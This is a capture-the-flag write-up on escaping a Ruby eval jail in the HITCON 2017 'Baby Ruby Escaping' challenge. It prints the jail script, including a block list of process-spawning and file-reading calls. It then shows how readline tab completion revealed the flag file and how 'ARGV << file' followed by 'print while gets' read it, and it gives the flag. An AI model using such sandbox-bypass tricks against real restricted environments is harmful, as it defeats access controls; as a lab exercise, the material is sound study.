The HITCON 2017 CTF “Baby Ruby Escaping” challenge had the following description:
And the attached Ruby file was:
#!/usr/bin/env ruby require 'readline' proc { my_exit = Kernel.method(:exit!) my_puts = $stdout.method(:puts) ObjectSpace.each_object(Module) { |m| m.freeze if m != Readline } set_trace_func proc { |event, file, line, id, binding, klass| bad_id = /`|exec|foreach|fork|load|method_added|open|read(?!line$)|require|set_trace_func|spawn|syscall|system/ bad_class = /(?<!True|False|Nil)Class|Module|Dir|File|ObjectSpace|Process|Thread/ if event =~ /class/ || (event =~ /call/ && (id =~ bad_id || klass.to_s =~ bad_class)) my_puts.call "\e[1;31m== Hacker Detected (#{$&}) ==\e[0m" my_exit.call end } }.call loop do line = Readline.readline('baby> ', true) puts '=> ' + eval(line, TOPLEVEL_BINDING).inspect end
Connecting to 52.192.198.197 on port 50216 we got the baby>
prompt and any entered Ruby code was executed except of course when it was blacklisted.
We were stuck with this for a while, nothing useful would execute. Until we noticed that all other challenges had only a “nc $ip $port” as the description and this one said: socat FILE:$(tty),raw,echo=0 TCP:52.192.198.197:50216
Of course, readline was implemented in this script. Connecting with the above socat and pressing TAB twice gave us:
baby> .bash_logout .bashrc .profile jail.rb thanks_readline_for_completing_the_name_of_flag baby>
Now we at least knew the filename to read was thanks_readline_for_completing_the_name_of_flag
.
Again stuck on this for a while. We couldn’t load any new modules, we tried opening files in all the ways we could find and went through the Kernel module methods and finally found this way in the example of gets which worked:
baby> ARGV << 'thanks_readline_for_completing_the_name_of_flag' => ["thanks_readline_for_completing_the_name_of_flag"] baby> print while gets hitcon{Bl4ckb0x.br0k3n? ? puts(flag) : try_ag4in!} => nil
That’s it, the flag was: hitcon{Bl4ckb0x.br0k3n? ? puts(flag) : try_ag4in!}